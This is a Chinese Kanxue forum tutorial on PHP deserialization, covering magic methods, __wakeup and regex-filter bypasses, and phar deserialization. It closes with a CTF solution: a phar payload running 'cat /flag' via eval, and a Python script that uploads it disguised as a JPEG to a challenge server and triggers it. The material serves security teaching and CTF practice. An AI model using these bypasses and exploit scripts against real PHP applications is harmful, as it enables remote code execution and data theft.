本文为看雪论坛优秀文章
看雪论坛作者ID:pank1s
一
简介
序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。简单来说就是我在一个地方构造了一个类,但我要在另一个地方去使用它,那怎么传过去呢?于是就想到了序列化这种东西,将对象先序列化为一个字符串(数据),后续需要使用的时候再进行反序列化即可得到要使用的对象,十分方便。
来看看官方手册(https://www.php.net/manual/zh/language.oop5.serialization.php)怎么说:
所有php里面的值都可以使用函数serialize()(https://www.php.net/manual/zh/function.serialize.php)来返回一个包含字节流的字符串来表示。unserialize()(https://www.php.net/manual/zh/function.unserialize.php)函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中反序列化一个对象,这个对象的类必须在反序列化之前定义,可以通过包含一个定义该类的文件或使用函数spl_autoload_register()(https://www.php.net/manual/zh/function.spl-autoload-register.php)来实现。
php 将数据序列化和反序列化会用到两个函数:
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
注意:php中创建一个对象和反序列化得到一个对象是有所不同的,例如创建一个对象一般会优先调用 __construct() 方法 ,而反序列化得到一个对象若 存在 __wakeup() 方法则会优先调用它而不去执行 __construct() 。
二
常见序列化格式介绍
基本上每个编程语言都有各自的序列化和反序列化方式,格式也各不相同
像有:
<?php
$arr = array('aa', 'bb', 'cc' => 'dd');
$serarr = serialize($arr);
echo $serarr;
var_dump($arr);
a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}
array(3) {
[0]=> string(2) "aa"
[1]=> string(2) "bb"
["cc"]=> string(2) "dd"
}
<?php
class test {
protected $name;
private $pass;
function __construct($name, $pass) {
$this->name = $name;
$this->pass = $pass;
}
}
$a = new test('pankas', '123');
$seria = serialize($a);
echo $seria.'<br/>';
echo urlencode($seria);
O:4:"test":2:{s:7:"*name";s:6:"pankas";s:10:"testpass";s:3:"123";}
O%3A4%3A%22test%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A6%3A%22pankas%22%3Bs%3A10%3A%22%00test%00pass%22%3Bs%3A3%3A%22123%22%3B%7D
三
反序列化常用魔术方法
__construct()//类的构造函数,创建类对象时调用
__destruct()//类的析构函数,对象销毁时调用
__call()//在对象中调用一个不可访问方法时调用
__callStatic()//用静态方式中调用一个不可访问方法时调用
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__isset()//当对不可访问属性调用isset()或empty()时调用
__unset()//当对不可访问属性调用unset()时被调用。
__sleep()//执行serialize()时,先会调用这个函数
__wakeup()//执行unserialize()时,先会调用这个函数,执行后不会执行__construct()函数
__toString()//类被当成字符串时的回应方法
__invoke()//调用函数的方式调用一个对象时的回应方法
__set_state()//调用var_export()导出类时,此静态方法会被调用。
__clone()//当对象复制完成时调用
__autoload()//尝试加载未定义的类
__debugInfo()//打印所需调试信息
四
各种绕过姿势
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='def';
}
public function __destruct(){
echo $this->a;
}
}
$a = new test();
new test();
$a = new test();
$a = 1;
<?php
class test{
function __construct($i) {$this->i = $i; }
function __destruct() { echo $this->i."Destroy...\n"; }
}
new test('1');
$a = new test('2');
$a = new test('3');
echo "————————————<br/>";
1Destroy...
2Destroy...
————————————
3Destroy...
<?php
class test {
function __destruct()
{
echo 'success!!';
}
}
if(isset($_REQUEST['input'])) {
$a = unserialize($_REQUEST['input']);
throw new Exception('lose');
}
class test {}
$a = serialize(array(new test, null));
echo $a.'<br/>';
$a = str_replace(':1', ':0', $a);//将序列化的数组下标为0的元素给为null
echo $a;
a:2:{i:0;O:4:"test":0:{}i:1;N;}
a:2:{i:0;O:4:"test":0:{}i:0;N;}//最终payload
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}
function match($data){
if (preg_match('/^O:\d+/',$data)){
die('nonono!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// 将对象放入数组绕过 serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
<?php
class test {
public $a;
public $b;
public function __construct(){
$this->a = 'aaa';
}
public function __destruct(){
if($this->a === $this->b) {
echo 'you success';
}
}
}
if(isset($_REQUEST['input'])) {
if(preg_match('/aaa/', $_REQUEST['input'])) {
die('nonono');
}
unserialize($_REQUEST['input']);
}else {
highlight_file(__FILE__);
}
class test {
public $a;
public $b;
public function __construct(){
$this->b = &$this->a;
}
}
$a = serialize(new test());
echo $a;
//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}
<?php
class test{
public $username;
public function __construct(){
$this->username = 'admin';
}
public function __destruct(){
echo 'success';
}
}
function check($data){
if(preg_match('/username/', $data)){
echo("nonono!!!</br>");
}
else{
return $data;
}
}
// 未作处理前,会被waf拦截
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 将小s改为大S; 做处理后 \75是u的16进制, 成功绕过
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);
五
phar反序列化
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
//生成一个phar.phar,修改后缀名为phar.gif
**将phar文件进行gzip压缩** ,使用压缩后phar文件同样也能反序列化 (常用)
将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过
$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
from hashlib import sha1
with open('phar.phar', 'rb') as file:
f = file.read() # 修改内容后的phar文件,以二进制文件形式打开
s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newPhar.phar', 'wb') as file:
file.write(newf) # 写入新文件
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){//__wakeup执行后__construct并不会执行
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){//需要绕过__wakeup,更改序列化属性个数即可绕过
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
if (preg_match("/flag/i", $file)) {
die("nonono");
}
echo file_get_contents($file);
}
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");//ban掉了明文的stub标识
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct($ljt, $dky, $cmd){
$this->ljt = $ljt;
$this->dky = $dky;
$this->cmd = $cmd;
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new LoveNss("Misc", "Re", "cat /flag");
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
import requests
from hashlib import sha1
import gzip
import re
def getPhar():
with open('phar.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
s = s.replace(b'3:{', b'4:{')# 绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
return gzip.compress(newf)# 进行gzip压缩
def upload(file):
burp0_url = "http://1.14.71.254:28403/upload.php"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://1.14.71.254:28403", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfXBfemuGHEVNBhN8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = b"------WebKitFormBoundaryfXBfemuGHEVNBhN8\r\nContent-Disposition: form-data; name=\"file\"; filename=\"phar.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n" + file + b"\r\n------WebKitFormBoundaryfXBfemuGHEVNBhN8\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\r\n------WebKitFormBoundaryfXBfemuGHEVNBhN8--\r\n"
# 注意数据类型为byte类型,应该file为byte类型,相同数据类型才能合并
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
def getFlag():
burp0_url = "http://1.14.71.254:28403/"
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Origin": "http://1.14.71.254:28403", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"file": "phar://./upload/phar.jpg/test.txt", "submit": ''}
res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
return re.findall('(NSSCTF\{.*?\})', res.text)[0]
if __name__ == '__main__':
upload(getPhar())
print(getFlag())
看雪ID:pank1s
https://bbs.kanxue.com/user-home-952339.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!